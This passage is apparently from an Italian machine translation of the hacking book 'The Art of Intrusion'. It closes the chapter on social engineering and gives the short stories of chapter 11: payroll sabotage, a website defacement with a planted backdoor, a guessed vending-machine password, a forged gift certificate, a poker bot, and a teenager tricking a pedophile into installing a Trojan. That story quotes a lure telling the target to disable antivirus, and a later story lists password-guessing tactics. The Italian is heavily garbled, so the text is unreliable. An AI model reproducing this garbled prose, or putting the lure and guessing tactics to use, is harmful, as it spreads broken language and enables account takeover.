 - "Ti impazzire se non posso giocare i miei giochi." (Accompagnato da un lamento.)
 - "Non voglio avere niente a che fare sul piano senza i miei giochi." (Parlato in un tono di "Qualsiasi idiota avrebbe capito questo.")
 - "Sarebbe bene se ho giocato solo una partita, no !?" (A promettono travestito da una domanda.)
 - "Sarò bene se mi dai il mio gioco indietro". (I fondali sincerità serio.)
 - "Ieri sera sono stato davvero buono, quindi perché non posso giocare una partita ora?" (A tentativo disperato sulla base di un ragionamento confuso.)
 - «Io non lo farò mai più. (Pausa). Posso giocare un gioco ora? " ("Non sarà mai farlo di nuovo" - come ingenuo pensa lei siamo?)
 - "Posso avere indietro adesso, *per favore* ? " (Se le promesse non funzionano, forse un po' di elemosina aiuterà. . .)
 - "Devo tornare a scuola domani, quindi non sarò in grado di giocare il mio gioco a meno che non posso iniziare ora." (Va bene, quanti diverse forme di social engineering ci sono? Forse avrebbe dovuto essere un contributo a questo libro.)
 - "Mi dispiace e mi sbaglia. Posso giocare solo per un po' ? " (Confessione può essere buono per l'anima, ma non può funzionare molto così come la manipolazione.)
 - "Kevin mi ha fatto fare". (Pensavo che solo gli hacker hanno detto che!)
 - "Sono molto triste senza il mio gioco". (Se non altro funziona, provare alla ricerca di un po' di simpatia.)
 - "Sono andato oltre la metà del giorno, senza il mio gioco." (In altre parole, "Quanto sofferenza è abbastanza sofferenza?")
- Capitolo 10 ingegneri sociali - come funzionano e come fermarli

243

- «Non costa denaro per giocare." (A disperato tentativo di indovinare ciò che la ragione di sua madre potrebbe essere per estendere la punizioni così a lungo. Bad indovinare.)
 - "E' il mio compleanno e non può giocare le mie partite." (Un altro afferrare pietoso per simpatia.)
- E continuando come abbiamo preparato a testa per l'aeroporto:
- "Sarò annoiato all'aeroporto." (Nella vana speranza che boredom sarebbe considerato una cosa terribile da evitare a tutti i costi. Forse se Briannah annoiava abbastanza, avrebbe potuto provare disegnare immagini o la lettura di un libro.)
 - "E' un volo di tre ore al giorno e io non hanno nulla a che fare!" (Still qualche speranza potesse abbattere e aprire il libro che ha avuto stato portato avanti.)
 - "E' troppo buio per leggere ed è troppo buio per disegnare. Se io gioco un

gioco, posso vedere lo schermo. "(Il tentativo disperato a logica.)

- "Posso almeno usare Internet?" (Ci deve essere *qualche* promessa nel tuo cuore.)
- "Sei la mamma migliore del mondo!" (E' anche abile a con complimenti e lusinghe in un debole tentativo di ottenere ciò che vuole.)
- «Non è giusto !!!" (The, ultimo sforzo ultimo disperato.)

Se si vuole aumentare la comprensione di come gli ingegneri sociali manipolare i loro obiettivi e come si muovono le persone da uno stato di pensiero in uno stato emotivo. . . basta ascoltare i vostri bambini.

T

HE

B

OTTOM

L

INE

Nel nostro primo libro insieme, Bill Simon e io etichettati ingegneria sociale come "Anello più debole della sicurezza delle informazioni."

Tre anni dopo, cosa troviamo? Troviamo società dopo società distribuzione di tecnologie di sicurezza per proteggere le loro risorse informatiche contro l'invasione tecnica da parte di hacker o spie industriali assunti, e man-tenente una forza di sicurezza fisica efficace per proteggere dall'accesso non autorizzato trasgressione.

Ma troviamo anche che poca attenzione viene data per contrastare le minacce posta da ingegneri sociali. E' essenziale per educare e formare i dipendenti per la minaccia e su come proteggersi da essere indotti a

L'arte dell'intrusione

244

assistere gli intrusi. La sfida per la difesa contro vulnerabile a base umana-nerabilities è sostanziale. Proteggere l'organizzazione di essere vittima-zata da parte di hacker che utilizzano tattiche di social engineering deve essere il responsabilità di tutti e di *ogni* dipendente - *ogni* dipendente, anche quelli che non usano il computer in nell'esercizio delle loro funzioni. I dirigenti sono vulnerabili, le persone in prima linea sono vulnerabili, centralinisti, ricezione tionists, pulizia personale dell'equipaggio, custode del parcheggio, e più in particolare, nuovo dipendenti - tutti possono essere sfruttati dagli ingegneri sociali come un altro passo verso il raggiungimento dei loro obiettivi illeciti.

L'elemento umano è stato dimostrato di essere informazioni di sicurezza di anello più debole per le età. La domanda da un milione di dollari è: Avete intenzione di essere l'anello debole che un ingegnere sociale è in grado di sfruttare nella vostra azienda?

N

OTES

1. L'osservazione da psicologo Neidert si possono trovare online all'indirizzo www1.chapman.edu/comm/

comm/docenti/thobbs/com401/socialinfluence/mindfl.html.

2. Vedere Kevin D. Mitnick e William L. Simon, *The Art of Deception* (Wiley Publishing, Inc., 2002),

pp. 266-271.

Capitolo 10 ingegneri sociali - come funzionano e come fermarli

247

Capitolo 11**Corto prende**

Io non sono un esperto di crittografia, non un matematico. So solo come le persone fanno errori nelle applicazioni e fanno gli stessi errori più e più volte nuovo.

- L'ex hacker, girato consulente per la sicurezza

S

ome delle storie ci hanno dato nel processo di scrittura di questo libro non rientrava perfettamente in uno dei capitoli precedenti, ma sono troppo divertente da ignorare. Non tutti questi sono hack. Alcuni sono solo malizioso, alcuni sono manipolativa, alcuni sono utili perché sono illuminante o rivelando su qualche aspetto della natura umana. . . e alcuni sono semplicemente divertenti.

Ci è piaciuta molto ed ho pensato che potrebbe, anche.

T**HE****M****ISSING****P****AYCHECK**

Jim era un sergente dell'esercito americano che ha lavorato in un gruppo di computer a Fort Lewis, a Puget Sound, nello stato di Washington, sotto un tiranno di un sergente maggiore che Jim descrive come "solo arrabbiata con il mondo," il genere di persona che "ha usato il suo rango per rendere tutti di rango minore infelice."

Jim e i suoi amici del gruppo, infine, si è stufata e hanno deciso bisogno di trovare il modo di punire il bruto per rendere la vita così insopportabile.

La loro unità disco gestito il personale e le voci del libro paga. Per assicurare precisione, ogni elemento è stato inserito da due soldati-impiegati separati, e la risultati sono stati confrontati prima che i dati è stato inviato registrazione della persona.

La soluzione vendetta che i ragazzi si avvicinò con era abbastanza semplice, Dice Jim. Due lavoratori in voci identiche dire al computer che il sergente era morto.

Questo, naturalmente, si fermò il suo stipendio.

Quando payday è venuto e il sergente lamentato che non aveva ricevuto il suo controllo, "procedure standard chiamato per tirare fuori la carta File e avendo il suo stipendio creato manualmente. "Ma questo non ha funzionato, o. "Per qualche motivo sconosciuto," Jim ha scritto, lingua ben piantati in guancia ", il suo file di carta non può essere posizionato ovunque. Ho motivo di credono che il file spontaneamente bruciato. "Non è difficile da capire come Jim arrivò a questa conclusione.

Con il computer mostrando che l'uomo era morto e non cartaceo

record a portata di mano per mostrare che avesse mai esistito, il sergente era fuori fortuna. Nessuna procedura esisteva per l'emissione di un assegno per l'uomo che non esisteva. Una richiesta doveva essere generata al quartier generale dell'esercito chiedendo che le copie delle carte in record dell'uomo essere copiate e trasmesse, e per pilota automatico anche se c'era alcuna autorità per lui pagare nel frattempo.

Le richieste sono state regolarmente presentate, con poca aspettativa che avrebbero ricevuto una risposta rapida.

C'è un lieto fine alla storia. Jim riferisce che "il suo comportamento era molto diverso per il resto dei giorni lo sapevo. "

C

OME PER

H

OLLYWOOD

, Y

OU

T

EEN

W

IZARD

Ai tempi in cui il filmato *Jurassic Park 2* è uscito, un giovane hacker che chiameremo Yuki ha deciso che voleva "possedere" - cioè, ottenere il controllo del - la MCA / Universal Studios box che ha ospitato lost-world.com, il sito Web per il *Jurassic Park* film e spettacoli televisivi dello studio.

E 'stato, dice, un "hack piuttosto banale", perché il sito era così male protetto. Ha approfittato di che con un metodo che ha descritto in termini tecnici come " inserimento di un CGI che gestiva un buttafuori [superiore porta non del fuoco murata] così posso collegarmi ad una maggiore porta e connettersi al localhost per accesso completo. "

MCA era allora in un edificio nuovo di zecca. Yuki ha fatto un po' di Internet la ricerca, ha imparato il nome dello studio di architettura, ha ottenuto per il suo sito web, e trovato poche difficoltà rottura nella sua rete. (Questo è stato a lungo abbastanza fa, che le vulnerabilità evidenti sono presumibilmente stati corretti ormai.)

Dall'interno del firewall è stato breve il lavoro per individuare il AutoCAD schemi dell'edificio MCA. Yuki ha fatto molto piacere. Tuttavia, questo era solo un L'arte dell'intrusione

248

barra laterale per il suo sforzo reale. Il suo amico era stato progettare occupato "un nuovo simpatico logo "per i *Jurassic Park* pagine Web, sostituendo il nome *Jurassic Park* e sostituendo il tirannosauro aperto mascella con un po' Ducky. Essi rotto nel sito Web, pubblicato il loro logo (vedi Figura 11-1) al posto di quello ufficiale, e si sedette di nuovo per vedere cosa sarebbe successo.

Figura 11-1: Il sostituto per il logo Jurassic Park.

La risposta non era quello che si aspettavano. I media pensato la logo è stato divertente, ma sospettoso. CNet News.com portato una storia

1

con

titolo che ha chiesto se si trattava di un trucco o una bufala, sospettando che qualcuno nella organizzazione universale potrebbe avere tirato la bravata di

Garner pubblicità per il film.

Yuki dice che entra in contatto con Universal poco dopo, explanation il buco che lui e il suo amico aveva usato per accedere al sito, e dicendo loro anche di una porta sul retro che avevano installato. A differenza di molti organizzazioni che imparano l'identità di una persona che ha rotto nel loro Sito Web o di rete, i ragazzi di universale apprezzato le informazioni.

Più di questo, Yuki dice, gli hanno offerto un posto di lavoro - senza dubbio capire sarebbe stato utile nel trovare e collegare altre vulnerabilità. Yuki era entusiasta per l'offerta.

Non ha funzionato, però. "Quando hanno scoperto che avevo solo 16, che cercato di lowball me. »Si voltò verso il basso l'occasione.

Due anni più tardi, CNet News.com ha presentato un elenco di loro 10 di tutti i tempi hack preferiti.

2

Yuki era felice di vedere il suo *Jurassic Pond* incidere promi-
nentemente inclusi.

Capitolo 11 Corto prende

249

Ma i suoi giorni di hacking sono finiti, afferma Yuki. E "stato fuori della scena per cinque anni. "Dopo aver rifiutato l'offerta MCA, ha iniziato una consultazione carriera che ha perseguito da allora.

H

ACKing A

S

OFT

D

RINK

M

Achine

Qualche tempo fa, Xerox e altre società sperimentato con macchine che avrebbe fatto la "ET, telefono di casa" bit. Una macchina di copia, dire, avrebbe monitorare il proprio stato, e quando il toner è in esaurimento, o mangimi rulli cominciavano a usura, o è stato rilevato un altro problema, un segnale sarebbe generato da una stazione remota o testa- aziendale quarti di segnalazione della situazione. Una persona servizio sarebbe poi essere visualizzati patchato, portando tutte le parti di ricambio necessarie.

Secondo il nostro informatore, David, una delle aziende che testate le acque di questo era Coca-Cola. Macchine sperimentali Coke automatici, David dice, sono stati collegato a un sistema Unix e può essere interrogato a distanza di una relazione sul loro stato di funzionamento.

Trovandosi annoiato un giorno, David e un paio di amici ha deciso di sondare questo sistema e vedere cosa potevano scoprire. Essi rilevato che, come si aspettavano, la macchina potrebbe essere raggiunto su telnet. "E 'stato collegato tramite una porta seriale e c'era un processo in esecuzione che afferrato il suo status e formattato piacevolmente. "Hanno usato il programma Finger e ho imparato che "un log-in era venuto in quel conto - tutto ciò che rimaste per noi era di trovare la password. "

Ci sono volute solo tre tentativi di indovinare la password, anche se alcune società programmatore ha intenzionalmente scelto uno che era altamente

improbabile. Ottenere l'accesso, hanno scoperto che il codice sorgente per il programma è stato memorizzato nella macchina e "non abbiamo potuto resistere a fare un po' cambiare! "

Hanno inserito codice che aggiungere una riga al termine dell'uscita gio salvia, circa una volta ogni cinque: "Aiuto! Qualcuno mi è calci! "

"Il più grande risata, però," David, dice, "è stato quando abbiamo indovinato la password. "Cura di prendere una pugnolata a ciò che la parola d'ordine era che la Coca-Cola persone erano così sicuri che nessuno sarebbe in grado di indovinare?"

La password della Coca-Cola distributore automatico, secondo David, è stato "pepsi"!

C

INCRESPATURA IL

Io

Raqi

La

RMY IN

D

ESERT

S

TORM

Nelle fasi di run-up per l'operazione Desert Storm, US Army Intelligenza andò a lavorare sui sistemi di comunicazione del iracheno dell'esercito, l'invio

L'arte dell'intrusione

250

elicotteri carichi di apparecchiature di rilevamento radiofrequenza ad strategica punti lungo "al sicuro del confine iracheno." Questo è il descrittivo frase usata da Mike, che era lì.

Gli elicotteri sono stati inviati a gruppi di tre. Prima della evoluzione Global Positioning System (GPS) per posizioni individuando, tre elicotteri forniti incrociati cuscinetti che hanno permesso al popolo Intelligence per tracciare le posizioni di ciascuna unità dell'esercito iracheno, insieme con la radio frequen- Cies erano usando.

Una volta che l'operazione è iniziata, gli Stati Uniti è stato in grado di intercettare le comunicazioni irachene. Mike dice: "i soldati americani che parlavano Farsi ha cominciato a ascoltare sui comandanti iracheni hanno parlato della loro terra leader truppa pattuglia. "E non solo ascoltare. Quando un comandante ha chiesto tutte le sue unità per stabilire comunicazioni contemporaneamente, le unità sarebbe accedi: "Questo è Camel 1." "Questa è Camel 3." "Questa è Camel 5."

Una delle intercettazioni ci avrebbero poi condotte fino alla radio in Farsi, "Questo è il Camel 1," ripetendo il nome di accesso.

Confuso, il comandante iracheno avrebbe detto Camel 1 che già firmato e non deve farlo due volte. Camel 1 avrebbe innocentemente dire che aveva solo firmato in una volta. "Ci sarebbe una raffica di discussione con allegazioni zioni e smentite su chi stava dicendo cosa, "Mike racconta.

Gli ascoltatori esercito ha continuato lo stesso modello con differenti com- iracheno Manders su e giù per il bordo. Poi hanno deciso di prendere il loro stratagemma per il livello successivo. Invece di ripetere un nome di accesso, voce degli Stati Uniti, in inglese, gridava, "Questo è Bravo Force 5 - come tutti voi fare" Secondo Mike, "Ci sarebbe un putiferio!"

Queste interruzioni infuriare i comandanti, che dovevano essere mortificato le loro truppe sul campo di udito questa perturbazione dagli infedeli invasori e al tempo stesso inorridito per scoprire che non potevano ordini radio ai loro quote senza forze americane overhearing ogni word. Hanno cominciato regolarmente spostamento attraverso un elenco delle frequenze di backup. L'apparecchiatura di rilevamento a radio frequenza a bordo della elicotteri dell'esercito americano è stato progettato per sconfiggere questa strategia. L'attrezzatura semplicemente scansionato il banda radio e rapidamente trova la frequenza che gli iracheni avevano acceso a. Gli ascoltatori americani furono presto di nuovo in pista. Nel frattempo, con ciascun spostamento, Esercito intelligence è stato in grado di aggiungere alla loro lista crescente della frequenze utilizzati dagli iracheni. E loro continuavano a montare e perfezionare il loro "ordine di battaglia" della forza di difesa irachena - dimensioni, Localizzazione, e la designazione delle unità, e anche piani d'azione. Infine i comandanti iracheni disperavano e confiscati Radio comunicazione cazione con le loro truppe, girando invece a linee telefoniche interrattate. Ancora, gli Stati Uniti era proprio dietro di loro. L'esercito iracheno è stato affidamento su

Capitolo 11 Corto prende

251

vecchio, linee telefoniche seriali di base, ed è stata una semplice questione di attingere a qualsiasi di queste linee con un trasmettitore crittografato, inoltre tutto il traffico di Intelligenza Army.

Relatori Farsi dell'esercito americano sono tornati al lavoro, questa volta usando gli stessi metodi che avevano usato in precedenza per interrompere la Comunità della radio comunica-. E 'divertente immaginare l'espressione sul volto di qualche iracheno maggiore o colonnello o generale come una voce gioviale arriva in piena espansione lungo il linea, "Ciao, questo è di nuovo Bravo Force 5. Come tutti voi fare! "

E forse potrebbe aggiungere qualcosa come: "Ci sei mancato per un po ' ed è bello essere di nuovo. "

A questo punto, i comandanti iracheni avevano nessuna comunicazione moderna opzioni a sinistra. Hanno fatto ricorso alla scrittura i loro ordini e l'invio del messaggi di carta attraverso i camion agli ufficiali in campo, che hanno scritto il loro risposte e inviato il camion sulla via del ritorno attraverso il vapore, sabbia deserto al quartier generale. Una singola query e la risposta potrebbe richiedere ore per il round-trip. I comandi che hanno richiesto più unità di agire in coordinamento nazione divenne quasi impossibile perché era così difficile ottenere il ordini per ogni unità campo coinvolto in tempo per loro di agire insieme. Non esattamente un modo efficace per difendere contro il rapido movimento americano forze.

Appena iniziata la guerra aerea, un gruppo di piloti statunitensi è stato assegnato il compito di cercare i camion che la spola messaggi avanti e indietro tra le posizioni note dei gruppi di campi iracheni. L'Air Force iniziato il targeting questi camion di comunicazione e di bussare fuori azione. Nel giro di pochi giorni, i conducenti iracheni sono stati rifiutano di portare il gio saggi tra i leader in campo perché sapevano che era la morte certa. Che farro una ripartizione quasi completa nella capacità del com- iracheno Sistema di comando e controllo. Anche quando Comando Centrale irachena ha potuto per ottenere gli ordini radiofoniche attraverso il campo, i comandanti sul campo, Mike dice: "Erano terrorizzati di queste comunicazioni perché sapevano che la messaggi sono stati ascoltati dalla US Army e sarebbero stati utilizzati per

inviare attacchi contro la loro posizione "- tanto più che, rispondendo a gli ordini, il comandante sul campo hanno rivelato che era ancora vivo, e potrebbe aspettiamo la sua risposta aveva permesso agli americani ad individuare la sua posizione. Nel tentativo di risparmiare la propria vita, alcune unità irachene campo disabilitati loro rimanendo dispositivi di comunicazione in modo che non avrebbe dovuto sentire incoming comunicazioni.

"In breve," Mike ricorda con gioia evidente, "l'esercito iracheno crollato nel caos e l'inattività in molte delle città perché nessuno era in grado - o vuole -. comunicare "

L'arte dell'intrusione

252

T

HE

B

Illion

-D

Ollare

Sol

IFT

C

Ertificate

Per la maggior parte, il seguente viene direttamente preso dalla nostra conversazione con questo ex hacker, che è ormai una realtà consolidata, sicurezza rispettato consulente.

E 'tutto lì, amico, è tutto lì. "Perché rapinare banche, Mr. Horton? »« Ecco dove sono i soldi. "

Ti dirò una storia divertente. Io e questo ragazzo Frank dal National Security Agency - non voglio nemmeno dare il suo nome, ha ora lavora per Microsoft. Abbiamo avuto un [penetrazione di prova] impegno con una ditta che produce buoni regalo digitali. Sono fuori di affari, non sono ancora intenzione di parlare di loro.

Allora, cosa stiamo andando dell'hacking? Siamo gonna incidere il crypto nel buono regalo? No, [la crittografia] era come eccezionale, molto bene fatto. È crittograficamente sicuro, sarebbe una perdita di tempo provare. Così che cosa siamo gonna attacco?

Guardiamo a come un mercante riscatta un certificato. Questo è un attacco insider perché abbiamo permesso di avere un mercante conto. Beh, troviamo una falla nel sistema di rimborso, una applicazione cazione difetto che ci ha dato l'esecuzione di comandi arbitrari sul scatola. E 'stato sciocche, infantili, abilità speciali necessaria - basta devo sapere cosa si sta cercando. Io non sono un esperto di crittografia, non un matematico. So solo come le persone commettono errori in applicazione cationi e fanno gli stessi errori più e più volte.

Sulla stessa sottorete con il centro di rimborso, hanno [a collegamento a] la loro menta - la macchina che fa il dono certificato Cates. Abbiamo rotto in quella macchina con un rapporto di fiducia. Come invece di solo ottenere un prompt di root, abbiamo fatto un regalo certificato - abbiamo coniato un certificato regalo con 32 bit alti, e impostare l'unità monetaria di dollari USA.

Ora ho un certificato di regalo del valore di 1,9 miliardi dollari. E la certificato era completamente valido. Qualcuno ha detto che avremmo dovuto impostare di sterline inglesi, che sarebbero state più bang per il dollaro.

Così, siamo andati al sito web per il Gap e comprato un paio di calzini.

Teoricamente, abbiamo avuto un miliardo, 900 milioni in arrivo cambiare da un paio di calze. E 'stato fantastico.

Volevo pinzare le calze al rapporto di prova penna.

Capitolo 11 Corto prende

253

Ma non è stato fatto. Non gli piaceva il modo in cui ha pensato il mosto storia hanno suonato per noi, e lui ha continuato, nella speranza di correggere l'impressione. *Forse mi suona come una rock star per voi, ma tutto quello che vedi è il percorso che ho preso e si va, "Oh, mio Dio, guarda come intelligente è. Lo ha fatto per ottenere sulla scatola, e poi sulla scatola ha violato un rapporto di fiducia, e poi una volta lì ha ottenuto sul menta e ha fabbricato un regalo certificato. "*

Sì, ma sai quanto sia difficile che era veramente? E 'stato come, "Beh, provate questo, ha fatto quel lavoro?" No vendita. "Provate questo, fatto che lavorare?" No vendita. Tentativi ed errori. E 'la curiosità, perseveranza e fortuna cieca. E mescolare in un po 'di abilità.

Io in realtà sono ancora quei calzini.

T

HE

T

EXAS

H

OLD

'E

M

H

ACK

Uno dei giocatori di poker cose si sentono abbastanza sicuri di quando si è seduti a un tavolo in un casinò importante - se giocare più popolazione di oggi versione lar, Texas Hold 'Em, o qualche altra variante - è che, sotto la occhi attenti del concessionario, le sporgenze del pozzo, e il tutto vede telecamera di video epoche, possono contare sulla propria abilità e fortuna, e non preoccuparsi tanto che alcuni degli altri giocatori potrebbero essere barare.

In questi giorni, grazie a Internet, è possibile sedersi a un poker Tavolo elettronicamente - giocare dalla comodità del proprio computer, prezzo, dal vivo con giocatori seduti al loro computer in varie parti del paese e del mondo.

E poi arriva un hacker che riconosce un modo per dare se stesso più di un piccolo vantaggio, utilizzando un casalingo *bot* - un robot - in questo caso, uno elettronico. L'hacker, Ron, dice che questo ha coinvolto "Scrittura di un bot che ha giocato 'matematicamente perfetto', mentre il poker online fuorvianti gli avversari a pensare che stavano giocando contro un vero e proprio giocatore umano. "Oltre a fare soldi su giochi di tutti i giorni, è entrato il suo bot in un certo numero di tornei con notevole successo. "In un quattro ore 'libero-roll' (senza quota di iscrizione) del torneo che è iniziato con tre

centinaia di giocatori, il bot finito al secondo posto. "

Le cose stavano andando grandi cannoni fino Ron ha fatto un errore di giudizio: Ha deciso di offrire il bot per la vendita, con un prezzo di 99 dollari l'anno per ogni compratore. La gente cominciò a sentir parlare il prodotto e la gente con la linea sito di poker che aveva di mira si è preoccupato che potrebbero giocare contro i giocatori robotici. "Ciò ha causato un tale clamore (e preoccupazione L'arte dell'intrusione

254

gestione del casinò che avrebbero perso clienti) che il sito ha aggiunto codice per rilevare l'uso del mio bot e ha detto che avrebbe definitivamente divieto chiunque catturati con esso. "

Tempo per un cambiamento di strategia.

Dopo aver invano tentato di fare un business della tecno- bot logia in sé, ho deciso di prendere l'intero progetto della metropolitana. Io modificato il bot di giocare in uno dei più grandi siti di poker online, ed esteso la tecnologia in modo che possa svolgere in "modalità di squadra," dove due o più bot allo stesso quota tavola le loro carte nascoste tra di loro per ottenere un vantaggio sleale.

Nella sua e-mail originale su questa avventura, Ron implicava che i suoi bot erano ancora in uso. Più tardi, ha scritto di nuovo ci chiede di dire quanto segue:

Dopo aver valutato il danno finanziario che deriverebbe a migliaia sabbie di giocatori di poker online, Ron infine deciso di non usare mai la sua tecnologia contro gli altri.

Ancora, i giocatori d'azzardo on-line, è necessario decidere per voi stessi. Se Ron potesse farlo, così può altri. Si potrebbe essere meglio saltellando un aereo per Las Vegas.

T

HE

T

EENAGE

P

EDOPHILE

C

HASER

Il mio coautore e ho trovato questa storia avvincente. Anche se può essere vero solo in parte o, per quanto ne sappiamo, interamente costituito, abbiamo deciso di dividerlo essenzialmente il modo in cui è stata presentata:

Tutto è cominciato quando avevo circa 15 anni. Un mio amico, Adam, mi ha mostrato come posizionare telefonate gratuite dalla scuola telefono pubblico, che si trovava al di fuori sul padiglione dove usato per mangiare a pranzo. Questa era la prima volta che avevo fatto nulla neanche lontanamente illegale. Adam modellato una graffetta in una sorta di scheda telefonica libera, utilizzando la graffetta per forare l'auricolare del portatile. Avrebbe quindi comporre il numero di telefono che voleva chiamare, Tenendo premuto l'ultima cifra del numero e allo stesso tempo toccare la graffetta al boccaglio. Quello che seguì fu un serie di scatti e poi suoneria. Ero intimorita. E 'stato il primo volta nella mia vita in cui mi sono reso conto quanto sia potente la conoscenza potrebbe essere. Ho subito cominciato a leggere tutto quello che ho potuto mettere le mani su. Se fosse informazioni ombroso, ho dovuto farlo. Ho usato la graffetta

seguita. Forse era per vedere fino a che punto questa ritrovata avenue potrebbe andare. Che accoppiata con l'emozione di fare qualcosa di "cattivo" è abbastanza per guidare ogni giovane di 15 anni del punk alla metropolitana. Quello che seguì dopo era la mia realizzazione che ci sono voluti più di solo la conoscenza di essere un hacker. Si doveva avere quella cun- sociale ning per eseguire la trappola.

Ho imparato di questi programmi chiamati Trojan attraverso un on-line amico che mi aveva caricare uno nel mio computer. Poteva fare cose incredibili come vedere quello che stavo scrivendo, registrando il mio video Flusso cam, e tutti i tipi di altre cose divertenti. Ero in paradiso. Io studiato tutto quello che potevo su questo Trojan e ha iniziato l'imballaggio è in eseguibili popolari. Vorrei andare in chat e cercare di arrivare qualcuno a scaricare uno, ma la fiducia è stato un problema. Nessuno me fiducia, e con buona ragione.

Sono andato in un adolescente casuale chat ed è lì che ho lo trovò: un pedofilo è venuto in cerca di immagini di bambini piccoli e gli anni dell'adolescenza. In un primo momento ho pensato che fosse uno scherzo, ma ho deciso di giocare

lungo e vedere se potevo fare una vittima di questa persona.

Ho cominciato a parlare in privato con lui in posa come una giovane ragazza che aveva ogni intenzione di incontrarlo una giornata - ma non il modo in cui pensò. Questo signore era malato per non dire altro. Il mio 15-year-old istinti voluto fare giustizia mondo. Volevo bruciare questo ragazzo così male che ci avrebbe pensato due volte prima di pesca per i bambini di nuovo. Ho provato in molte occasioni di mandargli il Trojan, ma lui era più intelligente di me. Aveva installato software anti-virus che ha bloccato la mia ogni tentativo. La cosa divertente è che non ha mai sospettato di me essere dannoso. Pensò che forse il mio computer era infettato e si è connessi alle foto che ho tentato di inviare. Ho appena giocato muto.

Dopo alcuni giorni di chat, egli cominciò a pushier. Voleva immagini sporche di me e mi ha detto che mi amava e voleva incontrare me. Era un sacco di merda di prima classe e solo il bersaglio perfetto per bruciare senza rimorsi, se solo potessi entrare. Avevo raccolto abbastanza mazioni mazioni su di lui per ottenere l'accesso ad alcuni dei suoi account di posta elettronica. Voi conoscere quelle domande segrete che ti chiedono? "Qual è il tuo preferito colore? "" Qual è il nome da nubile di tua madre? "Tutto quello che dovevo fare era pescare queste informazioni da lui e voilà ero in.

La roba era fino a era altamente illegale. Diciamo solo che un sacco di pornografia con bambini di varie età. Ero disgustato.

L'arte dell'intrusione

Poi mi sono reso conto. Se lui non avrebbe accettato il Trojan da me forse avrebbe accettato da uno dei suoi amici porno. I contraffatto

un indirizzo email e ha scritto un breve messaggio.

Scopri questo video hot. Disattivare il programma antivirus prima di scaricarlo perchè viti la qualità.

PS mi devi.

Ho pensato di sicuro che stava per prendere piede e ho aspettato con pazienza tutto il pomeriggio per lui per controllare l'e-mail. Avevo rinunciato. Non ero significato per questo [ingegneria sociale] roba.

Poi verso le 23:00 quella sera è successo. Ho ricevuto il messaggio innescato da mio Trojan per dirmi che aveva installato sulla sua macchina.

Avevo fatto!

Ho guadagnato l'accesso e subito iniziato a copiare la prova in un cartella [Ho creato sul suo computer]; Ho chiamato ". Jailbait" I imparato tutti i tipi di informazioni su questo ragazzo. Il suo nome, indirizzo, dove ha lavorato, e anche quali documenti era di lavoro zione all'ora.

Non potevo chiamare l'FBI o la polizia locale [perché ero paura solo conoscere il materiale sul computer che l'uomo] mi avrebbe finire in prigione, e avevo paura. Dopo un po 'Colpendo e incitamento ho imparato che era sposato e aveva figli. Questo era orribile.

Ho fatto l'unica cosa che sapevo fare. Ho mandato la moglie una mail con tutti i le informazioni di cui aveva bisogno per accedere al file jailbait. Poi ho coperto mie tracce e scaricato il Trojan.

Questo è stato il mio primo assaggio di sfruttamento non solo il codice, ma emozionali per ottenere qualcosa. Una volta ho avuto accesso, mi sono reso conto che non era tutto è stato tagliato fuori per essere. E 'necessaria più di una semplice conoscenza, richiesta astuzia, la menzogna, la manipolazione e il duro lavoro. Ma valeva ogni grammo di energia per bruciare quel coglione. Mi sentivo come un re a 15. E non poteva dire una sola anima.

Ma vorrei che avrei mai visto le cose che ho fatto.

... La

ND

Y

OU

D

ON

,

T

E

VEN

H

AVE ESSERE A

H

ACKER

E 'chiaro da molte delle storie in questo libro che la maggior parte degli hacker prendono anni in via di sviluppo le proprie conoscenze. Così sembra sempre notevole per me

Capitolo 11 Corto prende

257

da qualcuno senza sfondo in pirateria. Questo è uno di quelli.

Al momento di questo incidente, John era all'università laureando senior Informatica, e ha trovato una posizione di stagista presso un locale e elettrico società del gas in modo che al momento della laurea avrebbe avuto non solo una laurea, ma una certa esperienza. La società lo mise a lavorare eseguendo Lotus Note gli aggiornamenti per i dipendenti. Ogni volta ha chiamato qualcuno per impostare un appuntamento, lui li chiede la password di Lotus Notes in modo poteva eseguire l'aggiornamento. Le persone non hanno esitato a fornire le informazioni.

A volte, però, si sarebbe trovato a giocare tag segreteria telefonica e finire con un appuntamento programmato, ma nessuna possibilità di chiedere il password anticipo. Sai cosa sta per succedere, e ha capito che per se stesso: "Ho trovato che l'80 per cento delle persone non ha mai cambiato il loro password quando Notes era stato installato sul proprio sistema, quindi il mio primo provare era 'passaggio'".

Se questo non è riuscito, John avrebbe deriva intorno cubicolo della persona e fare una poco look-vedere per un post-it con tutte le loro password, in genere bloccato proprio in bella vista sul monitor, oppure nascosti (se questo è un appropriate word) sotto la tastiera o nel loro cassetto.

E, se questo approccio ancora lo ha lasciato a mani vuote, aveva un altro carta da giocare. "La mia ultima linea di attacco stava studiando gli oggetti personali di il loro cubicolo. Qualsiasi cosa che darebbe un indizio per bambini nomi, animali domestici, hobby, e simili. "Diverse ipotesi era il più delle volte è bastato.

Una volta, però, era più difficile del solito. "Ricordo ancora uno la password della donna mi stava dando un momento difficile fino a quando ho notato che ogni picture aveva una moto in esso. "Su un intuizione, ha cercato" harley ". . . e ottenuto in.

Solleticato dal successo, ha iniziato a tenere traccia. "Ho fatto un gioco di esso e ottenuto in oltre il 90 per cento del tempo, spendendo meno di dieci min-
sce su ognuno. Quelli che mi sfuggiva generalmente si rivelò essere sem-
Informazioni ple che ho potuto trovare con la ricerca più profonda - più spesso, i compleanni dei bambini. "

Si è rivelato essere uno stage redditizia, quella che "non solo ha fornito me con alcuni foraggi curriculum, ma anche mi ha insegnato come la nostra prima linea di difesa contro gli hacker è anche la nostra più debole: gli utenti stessi e le loro scelte di password. "

E che sembra un messaggio forte per finire con. Se tutti i computer utente dovesse migliorare la sua password stasera - e *non* lasciare nuovi
L'arte dell'intrusione

258

password in alcuni facili da trovare posto - poi domani mattina, abbiamo sarebbe improvvisamente ritrovarci a vivere in un mondo molto più sicuro. Speriamo che sarà un messaggio d'azione per ogni lettore di questo libro.

N

OTES

1. CNet News.com, "Lost World, LAPD: Hacks o Hoax ?," di Janet Kornblum 30 maggio 1997.
2. CNet News.com, "The Ten più sovversiva Hacks," di Matt Lago, 27 ottobre 1999.

Capitolo 11 Corto prende

259

Configurazione del dispositivo 3Com, determinando, 200-202
9/11, all'indomani, 34-35
Abagnale, Frank, 46
responsabilità, 62-63
account amministratore, rinominare, 192
segnalazioni, 188
altercasting, 234
ARIN (ARIN),
100-101
Anderson, Charles Matthew (Matt)
arresto per Boeing hack, 82-83
sfondo, 70
attività in corso, 87
dumpster diving, 70-71
servizi alberghieri, il furto di 72-73,
telefono phreaking, 70-71
il carcere, 84-86
punizione, 81, 82-84
restituzione, 82-84
